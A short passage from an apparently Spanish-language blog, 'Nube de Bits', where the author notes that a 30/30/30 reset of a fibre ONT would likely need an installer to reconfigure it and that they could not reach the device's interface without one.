De ahí que si hacemos un reset 30/30/30 a la ONT, con muchas probabilidades va a tener que pasarse un instalador a reconfigurarla. Yo he intentado llegar a la ONT pero no ha habido manera, quizás sea imposible sin hacer el reset.

Nube de Bits, 2011. Con la tecnología de Blogger.